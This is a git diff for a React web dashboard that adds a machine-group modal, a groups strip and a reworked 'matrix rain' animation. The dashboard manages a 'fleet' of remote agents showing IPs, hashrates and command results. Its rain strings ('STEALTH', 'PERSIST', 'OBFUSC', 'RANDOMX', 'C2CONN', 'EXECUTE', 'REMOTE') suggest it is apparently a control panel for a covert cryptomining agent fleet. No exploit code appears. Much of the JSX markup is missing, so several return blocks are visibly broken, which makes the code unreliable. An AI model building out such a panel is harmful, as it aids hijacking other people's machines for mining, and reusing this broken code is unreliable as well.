Target Desktop diff --git a/server/web/src/components/Fleet/CreateGroupModal.css b/server/web/src/components/Fleet/CreateGroupModal.css new file mode 100644 index 0000000..b810b2c --- /dev/null +++ b/server/web/src/components/Fleet/CreateGroupModal.css @@ -0,0 +1,73 @@ +.fleet-group-modal-backdrop { + position: fixed; + inset: 0; + z-index: 1200; + display: flex; + align-items: center; + justify-content: center; + padding: 1rem; + background: rgba(0, 0, 0, 0.72); + backdrop-filter: blur(4px); +} + +.fleet-group-modal { + width: 100%; + max-width: 420px; + padding: 1.25rem 1.5rem; + border: 1px solid rgba(178, 75, 243, 0.45); + box-shadow: 0 0 40px rgba(178, 75, 243, 0.15); +} + +.fleet-group-modal h2 { + margin: 0 0 0.35rem; + font-size: 1.25rem; +} + +.fleet-group-color-grid { + display: flex; + flex-wrap: wrap; + gap: 0.45rem; + margin-bottom: 0.75rem; +} + +.fleet-group-swatch { + width: 2rem; + height: 2rem; + border-radius: 6px; + border: 2px solid transparent; + cursor: pointer; + padding: 0; + transition: transform 0.12s, box-shadow 0.12s; +} + +.fleet-group-swatch:hover { + transform: scale(1.08); +} + +.fleet-group-swatch.selected { + border-color: #fff; + box-shadow: 0 0 12px currentColor; + transform: scale(1.1); +} + +.fleet-group-custom-color { + display: flex; + align-items: center; + gap: 0.75rem; + margin-bottom: 1rem; +} + +.fleet-group-custom-color input[type='color'] { + width: 2.5rem; + height: 2.5rem; + border: none; + background: none; + cursor: pointer; +} + +.fleet-group-modal-actions { + display: flex; + justify-content: flex-end; + gap: 0.5rem; + margin-top: 0.5rem; +} diff --git a/server/web/src/components/Fleet/CreateGroupModal.tsx b/server/web/src/components/Fleet/CreateGroupModal.tsx new file mode 100644 index 0000000..7b5d257 --- /dev/null +++ b/server/web/src/components/Fleet/CreateGroupModal.tsx @@ -0,0 +1,97 @@ +import { useEffect, useState } from 'react'; +import { FLEET_GROUP_COLORS, normalizeGroupColor } from '../../help/fleetGroups'; +import './CreateGroupModal.css'; + +interface Props { + open: boolean; + agentCount: number; + onClose: () => void; + onCreate: (name: string, color: string) => void; +} + +export default function CreateGroupModal({ open, agentCount, onClose, onCreate }: Props) { + const [name, setName] = useState(''); + const [color, setColor] = useState(FLEET_GROUP_COLORS[0]); + + useEffect(() => { + if (open) { + setName(''); + setColor(FLEET_GROUP_COLORS[groupsColorIndex(agentCount) % FLEET_GROUP_COLORS.length]); + } + }, [open, agentCount]); + + if (!open || agentCount < 1) return null; + + const submit = (e: React.FormEvent) => { + e.preventDefault(); + const trimmed = name.trim(); + if (!trimmed) return; + onCreate(trimmed, normalizeGroupColor(color)); + onClose(); + }; + + return ( +
+
e.stopPropagation()} + > +

Create group

+

+ Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} — usable in Fleet Roster and Crucible. +

+
+ + setName(e.target.value)} + placeholder="e.g. Living room PCs" + autoFocus + maxLength={64} + /> + +

Group color

+
+ {FLEET_GROUP_COLORS.map((c) => ( +
+
+ setColor(e.target.value)} + aria-label="Custom color" + /> + {normalizeGroupColor(color)} +
+ +
+ + +
+
+
+
+ ); +} + +function groupsColorIndex(n: number): number { + return Math.abs(n) % FLEET_GROUP_COLORS.length; +} diff --git a/server/web/src/components/Fleet/FleetGroupsStrip.css b/server/web/src/components/Fleet/FleetGroupsStrip.css new file mode 100644 index 0000000..f98f7ac --- /dev/null +++ b/server/web/src/components/Fleet/FleetGroupsStrip.css @@ -0,0 +1,70 @@ +.fleet-groups-strip { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 0.5rem 0.75rem; + margin-bottom: 0.75rem; + padding: 0.65rem 0.85rem; +} + +.fleet-groups-strip-label { + font-size: 0.7rem; + letter-spacing: 0.12em; + color: var(--text-muted); + text-transform: uppercase; +} + +.fleet-groups-strip-list { + display: flex; + flex-wrap: wrap; + gap: 0.4rem; + flex: 1; +} + +.fleet-group-chip { + display: inline-flex; + align-items: center; + gap: 0.35rem; + padding: 0.25rem 0.55rem 0.25rem 0.4rem; + border-radius: 999px; + border: 1px solid; + font-size: 0.8rem; + cursor: pointer; + transition: filter 0.15s, transform 0.12s; +} + +.fleet-group-chip:hover { + filter: brightness(1.15); + transform: translateY(-1px); +} + +.fleet-group-chip-dot { + width: 0.55rem; + height: 0.55rem; + border-radius: 50%; + flex-shrink: 0; + box-shadow: 0 0 6px var(--group-color, #0ff); +} + +.fleet-group-chip-name { + font-weight: 500; + color: var(--text-primary); +} + +.fleet-group-chip-count { + font-size: 0.72rem; + color: var(--text-muted); + font-family: var(--font-tech, monospace); +} + +.fleet-group-chip-del { + margin-left: 0.15rem; + padding: 0 0.2rem; + color: var(--text-muted); + font-size: 1rem; + line-height: 1; +} + +.fleet-group-chip-del:hover { + color: #ff6666; +} diff --git a/server/web/src/components/Fleet/FleetGroupsStrip.tsx b/server/web/src/components/Fleet/FleetGroupsStrip.tsx new file mode 100644 index 0000000..374717e --- /dev/null +++ b/server/web/src/components/Fleet/FleetGroupsStrip.tsx @@ -0,0 +1,81 @@ +import type { FleetGroup } from '../../help/fleetGroups'; +import './FleetGroupsStrip.css'; + +interface Props { + groups: FleetGroup[]; + liveAgentIds?: Set; + onSelectGroup: (group: FleetGroup) => void; + onDeleteGroup?: (id: string) => void; + onCreateGroup?: () => void; + selectedCount?: number; +} + +export default function FleetGroupsStrip({ + groups, + liveAgentIds, + onSelectGroup, + onDeleteGroup, + onCreateGroup, + selectedCount = 0, +}: Props) { + if (groups.length === 0 && !onCreateGroup) return null; + + return ( +
+ Groups +
+ {groups.map((g) => { + const onlineInGroup = liveAgentIds + ? g.agentIds.filter((id) => liveAgentIds.has(id)).length + : g.agentIds.length; + return ( + + ); + })} +
+ {onCreateGroup && selectedCount > 0 && ( + + )} +
+ ); +} diff --git a/server/web/src/components/Fleet/FleetToolbar.css b/server/web/src/components/Fleet/FleetToolbar.css index e6e5c59..8ad705c 100644 --- a/server/web/src/components/Fleet/FleetToolbar.css +++ b/server/web/src/components/Fleet/FleetToolbar.css @@ -70,6 +70,11 @@ border-top: 1px solid rgba(255, 255, 255, 0.08); } +.agent-tag-chip.fleet-group-tag { + border: 1px solid; + font-weight: 600; +} + .agent-tag-chip { display: inline-block; font-size: 0.7rem; diff --git a/server/web/src/components/Fleet/FleetToolbar.tsx b/server/web/src/components/Fleet/FleetToolbar.tsx index 80136bd..14e0cc2 100644 --- a/server/web/src/components/Fleet/FleetToolbar.tsx +++ b/server/web/src/components/Fleet/FleetToolbar.tsx @@ -10,6 +10,7 @@ interface Props { selectedCount: number; onBulkAction: (action: string) => void; onSelectAllFiltered?: () => void; + onCreateGroup?: () => void; filteredCount?: number; bulkBusy: boolean; } @@ -21,6 +22,7 @@ export default function FleetToolbar({ selectedCount, onBulkAction, onSelectAllFiltered, + onCreateGroup, filteredCount, bulkBusy, }: Props) { @@ -93,6 +95,27 @@ export default function FleetToolbar({ {selectedCount > 0 && (
{selectedCount} selected + {onCreateGroup && ( + + )} + {selectedCount === 1 && ( + + )} diff --git a/server/web/src/components/Layout/Layout.css b/server/web/src/components/Layout/Layout.css index 0f999e8..ab5cd0d 100644 --- a/server/web/src/components/Layout/Layout.css +++ b/server/web/src/components/Layout/Layout.css @@ -180,6 +180,32 @@ min-height: 160px; max-height: 320px; background: #000; + transition: border-color 0.4s ease, box-shadow 0.4s ease; +} + +/* Forge / Crucible target lock — gold heavy rain (matches forge progress vibe) */ +.matrix-rain-wrap--intense { + border-top-color: rgba(255, 180, 40, 0.45); + border-bottom-color: rgba(255, 120, 0, 0.35); + box-shadow: + inset 0 0 28px rgba(255, 140, 0, 0.12), + 0 0 18px rgba(255, 160, 0, 0.15); +} + +.matrix-rain-wrap--intense .matrix-rain-scanlines { + background: repeating-linear-gradient( + 0deg, + transparent, + transparent 1px, + rgba(40, 20, 0, 0.22) 1px, + rgba(40, 20, 0, 0.22) 2px + ); +} + +.matrix-rain-wrap--crucible.matrix-rain-wrap--intense { + box-shadow: + inset 0 0 32px rgba(255, 200, 80, 0.14), + 0 0 22px rgba(255, 180, 50, 0.2); } .matrix-rain-canvas { diff --git a/server/web/src/components/Layout/MatrixRain.tsx b/server/web/src/components/Layout/MatrixRain.tsx index 76bca96..a9c1c01 100644 --- a/server/web/src/components/Layout/MatrixRain.tsx +++ b/server/web/src/components/Layout/MatrixRain.tsx @@ -1,8 +1,13 @@ import { useEffect, useRef } from 'react'; import { useWebSocket } from '../../hooks/useWebSocket'; import { useForge } from '../../context/ForgeContext'; +import { useMatrixRain } from '../../context/MatrixRainContext'; +import { + FORGE_RAIN_STRINGS, + pickMysticWord, + wordColumnSpan, +} from '../../help/matrixRainEffects'; -// Full matrix alphabet: katakana + hex + braille dots for visual density const KATAKANA = 'アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン'; const HEX = '0123456789ABCDEFabcdef'; @@ -14,36 +19,36 @@ const FONT_SIZE = 10; interface Column { y: number; speed: number; - // occasionally carry a char from live data liveSrc: string; livePos: number; } -const FORGE_STRINGS = [ - 'COMPILING', 'LINKING', 'GARBLE', 'GO BUILD', 'INJECT', - 'STEALTH', 'PERSIST', 'ENCRYPT', 'OBFUSC', 'PACKAGE', - 'WORKER', 'FORGE', 'SIGN', 'BUNDLE', 'AGENT', - 'RANDOMX', 'STRATUM', 'C2CONN', 'DEPLOY', -]; +interface WordDrop { + text: string; + colStart: number; + y: number; + speed: number; +} export default function MatrixRain() { const canvasRef = useRef(null); const wrapRef = useRef(null); const { agents, recentShares, commandResults } = useWebSocket(); const { forging, stage } = useForge(); + const { crucibleFocus } = useMatrixRain(); + const forgingRef = useRef(false); + const crucibleRef = useRef(false); const stageRef = useRef(''); forgingRef.current = forging; + crucibleRef.current = crucibleFocus; stageRef.current = stage; - // ── Live data pool ────────────────────────────────────────────────────────── - // Collect strings from the fleet that will be injected character-by-character - // into the rain columns so real data scrolls through the matrix. const livePoolRef = useRef([]); useEffect(() => { const pool: string[] = []; for (const a of agents) { - pool.push(a.id.replace(/-/g, '')); // stripped UUID + pool.push(a.id.replace(/-/g, '')); if (a.hashrate_15s > 0) pool.push(`${a.hashrate_15s.toFixed(0)}H`); if (a.ip) pool.push(a.ip.replace(/\./g, '')); } @@ -53,22 +58,24 @@ export default function MatrixRain() { for (const r of (commandResults ?? []).slice(-5)) { if (r.action) pool.push(r.action.toUpperCase().padEnd(8, '_')); } - // When forging, flood the pool with build strings so they dominate the rain - if (forgingRef.current) { - pool.push(...FORGE_STRINGS); - if (stageRef.current) { + const intense = forgingRef.current || crucibleRef.current; + if (intense) { + pool.push(...FORGE_RAIN_STRINGS); + if (forgingRef.current && stageRef.current) { pool.push(stageRef.current.replace(/[^A-Z0-9]/gi, '').toUpperCase().slice(0, 16)); } + if (crucibleRef.current) { + pool.push('CRUCIBLE', 'TARGET', 'EXECUTE', 'REMOTE'); + } } livePoolRef.current = pool.length > 0 ? pool : ['AETHERFORGE', 'MINING', '00E5FF']; - }, [agents, recentShares, commandResults]); + }, [agents, recentShares, commandResults, forging, crucibleFocus]); - // ── Event log feed ────────────────────────────────────────────────────────── - // We inject one short log line per meaningful event, shown as a dim overlay - // row scrolling through the canvas. const eventLogRef = useRef<{ text: string; alpha: number }[]>([]); const prevShareLen = useRef(0); const prevAgentLen = useRef(0); + const prevCmdSeq = useRef(0); + useEffect(() => { const newEvents: string[] = []; if (recentShares.length > prevShareLen.current) { @@ -81,13 +88,28 @@ export default function MatrixRain() { newEvents.push(`AGENT ONLINE ${a.name?.slice(0, 8) ?? '??'}`); } prevAgentLen.current = agents.length; + + const results = commandResults ?? []; + if (results.length > 0) { + const latest = results[results.length - 1]; + if (latest._seq > prevCmdSeq.current) { + prevCmdSeq.current = latest._seq; + const tag = latest.success ? 'CMD OK' : 'CMD FAIL'; + newEvents.push(`${tag} ${latest.action?.toUpperCase() ?? '?'}`); + } + } + for (const ev of newEvents) { eventLogRef.current.push({ text: ev, alpha: 1 }); if (eventLogRef.current.length > 6) eventLogRef.current.shift(); } - }, [recentShares, agents]); + }, [recentShares, agents, commandResults]); + + const intenseMode = forging || crucibleFocus; + const wrapClass = intenseMode + ? `matrix-rain-wrap matrix-rain-wrap--intense${crucibleFocus && !forging ? ' matrix-rain-wrap--crucible' : ''}${forging ? ' matrix-rain-wrap--forge' : ''}` + : 'matrix-rain-wrap'; - // ── Canvas renderer ───────────────────────────────────────────────────────── useEffect(() => { const canvas = canvasRef.current; const wrap = wrapRef.current; @@ -95,7 +117,6 @@ export default function MatrixRain() { const ctx = canvas.getContext('2d'); if (!ctx) return; - // Resize canvas to match wrapper const resize = () => { const r = wrap.getBoundingClientRect(); canvas.width = Math.floor(r.width); @@ -106,9 +127,11 @@ export default function MatrixRain() { ro.observe(wrap); let cols: Column[] = []; + const wordDropsRef: WordDrop[] = []; + const resetCols = () => { const numCols = Math.max(1, Math.floor(canvas.width / FONT_SIZE)); - cols = Array.from({ length: numCols }, (_, i) => ({ + cols = Array.from({ length: numCols }, () => ({ y: Math.random() * -(canvas.height * 2), speed: 0.3 + Math.random() * 0.55, liveSrc: '', @@ -117,7 +140,19 @@ export default function MatrixRain() { }; resetCols(); - // Periodically inject live data strings into random columns + const spawnWordDrop = () => { + if (cols.length < 4) return; + const text = pickMysticWord(); + const span = wordColumnSpan(text); + const colStart = Math.floor(Math.random() * Math.max(1, cols.length - span)); + wordDropsRef.push({ + text, + colStart, + y: -span - 2, + speed: 0.35 + Math.random() * 0.25, + }); + }; + const injectInterval = setInterval(() => { const pool = livePoolRef.current; if (pool.length === 0 || cols.length === 0) return; @@ -127,13 +162,51 @@ export default function MatrixRain() { cols[colIdx].livePos = 0; }, 180); + const wordInterval = setInterval(() => { + if (!forgingRef.current) spawnWordDrop(); + }, 7000 + Math.random() * 5000); + + spawnWordDrop(); + let raf: number; let lastTime = 0; + const drawWordDrop = (wd: WordDrop, speedMult: number, intense: boolean) => { + const H = canvas.height; + let lastCharIdx = wd.text.length - 1; + while (lastCharIdx >= 0 && wd.text[lastCharIdx] === ' ') lastCharIdx--; + + let colIdx = 0; + for (let i = 0; i < wd.text.length; i++) { + const ch = wd.text[i]; + if (ch === ' ') { + colIdx++; + continue; + } + const row = wd.y - (wd.text.length - 1 - i); + const py = row * FONT_SIZE; + if (py < -FONT_SIZE || py > H + FONT_SIZE) { + colIdx++; + continue; + } + const x = (wd.colStart + colIdx) * FONT_SIZE; + const isHead = i === lastCharIdx; + + if (intense) { + ctx.fillStyle = isHead ? 'rgba(255,235,120,1)' : 'rgba(255,140,0,0.85)'; + } else { + ctx.fillStyle = isHead ? 'rgba(220,120,255,1)' : 'rgba(140,0,200,0.55)'; + } + ctx.fillText(ch, x, py); + colIdx++; + } + wd.y += wd.speed * speedMult; + }; + const draw = (ts: number) => { raf = requestAnimationFrame(draw); - const isForging = forgingRef.current; - const targetFps = isForging ? 50 : 24; + const intense = forgingRef.current || crucibleRef.current; + const targetFps = intense ? 50 : 24; const msPerFrame = 1000 / targetFps; if (ts - lastTime < msPerFrame) return; lastTime = ts; @@ -141,21 +214,18 @@ export default function MatrixRain() { const W = canvas.width; const H = canvas.height; - // Forge mode: less fade = longer glowing trails; normal: quick fade - ctx.fillStyle = isForging ? 'rgba(0,0,0,0.10)' : 'rgba(0,0,0,0.18)'; + ctx.fillStyle = intense ? 'rgba(0,0,0,0.10)' : 'rgba(0,0,0,0.18)'; ctx.fillRect(0, 0, W, H); ctx.font = `${FONT_SIZE}px 'Courier New', monospace`; - // Speed multiplier: 3× faster while forging - const speedMult = isForging ? 3.2 : 1.0; + const speedMult = intense ? 3.2 : 1.0; for (let i = 0; i < cols.length; i++) { const col = cols[i]; const x = i * FONT_SIZE; const y = col.y; - // Pick character: live data char or random alphabet let ch: string; if (col.liveSrc && col.livePos < col.liveSrc.length) { ch = col.liveSrc[col.livePos]; @@ -164,8 +234,7 @@ export default function MatrixRain() { ch = ALPHABET[Math.floor(Math.random() * ALPHABET.length)]; } - if (isForging) { - // Forge palette: bright amber/orange head, orange body + if (intense) { ctx.fillStyle = 'rgba(255,220,80,0.98)'; ctx.fillText(ch, x, y * FONT_SIZE); if (y > 1) { @@ -173,21 +242,19 @@ export default function MatrixRain() { ctx.fillText( ALPHABET[Math.floor(Math.random() * ALPHABET.length)], x, - (y - 1) * FONT_SIZE, + (y - 1) * FONT_SIZE ); } - // Extra mid-column glyph density during forge - if (Math.random() < 0.12) { + if (Math.random() < 0.14) { const dimY = Math.floor(Math.random() * Math.max(1, y - 2)); - ctx.fillStyle = 'rgba(255,120,0,0.35)'; + ctx.fillStyle = 'rgba(255,120,0,0.4)'; ctx.fillText( ALPHABET[Math.floor(Math.random() * ALPHABET.length)], x, - dimY * FONT_SIZE, + dimY * FONT_SIZE ); } } else { - // Normal palette: white head, cyan-green body ctx.fillStyle = 'rgba(255,255,255,0.95)'; ctx.fillText(ch, x, y * FONT_SIZE); if (y > 1) { @@ -195,7 +262,7 @@ export default function MatrixRain() { ctx.fillText( ALPHABET[Math.floor(Math.random() * ALPHABET.length)], x, - (y - 1) * FONT_SIZE, + (y - 1) * FONT_SIZE ); } if (Math.random() < 0.04) { @@ -204,7 +271,7 @@ export default function MatrixRain() { ctx.fillText( ALPHABET[Math.floor(Math.random() * ALPHABET.length)], x, - dimY * FONT_SIZE, + dimY * FONT_SIZE ); } } @@ -218,18 +285,29 @@ export default function MatrixRain() { } } - // ── Event log overlay — bottom of canvas ────────────────────────── + for (let w = wordDropsRef.length - 1; w >= 0; w--) { + drawWordDrop(wordDropsRef[w], speedMult, intense); + if (wordDropsRef[w].y * FONT_SIZE > H + 40) { + wordDropsRef.splice(w, 1); + } + } + if (wordDropsRef.length < 3 && Math.random() < 0.02) { + spawnWordDrop(); + } + const logs = eventLogRef.current; const lineH = FONT_SIZE + 2; ctx.font = `${FONT_SIZE - 1}px 'Courier New', monospace`; - const isForging2 = forgingRef.current; for (let j = 0; j < logs.length; j++) { const entry = logs[logs.length - 1 - j]; const oy = H - 6 - j * lineH; if (oy < 0) break; - const logColor = isForging2 + const fail = entry.text.includes('FAIL') || entry.text.includes('REJECT'); + const logColor = intense ? `rgba(255,160,0,${(entry.alpha * 0.75).toFixed(2)})` - : `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`; + : fail + ? `rgba(255,80,80,${(entry.alpha * 0.65).toFixed(2)})` + : `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`; ctx.fillStyle = logColor; ctx.fillText(`> ${entry.text}`, 4, oy); entry.alpha = Math.max(0, entry.alpha - 0.003); @@ -241,16 +319,15 @@ export default function MatrixRain() { return () => { cancelAnimationFrame(raf); clearInterval(injectInterval); + clearInterval(wordInterval); ro.disconnect(); }; }, []); return ( -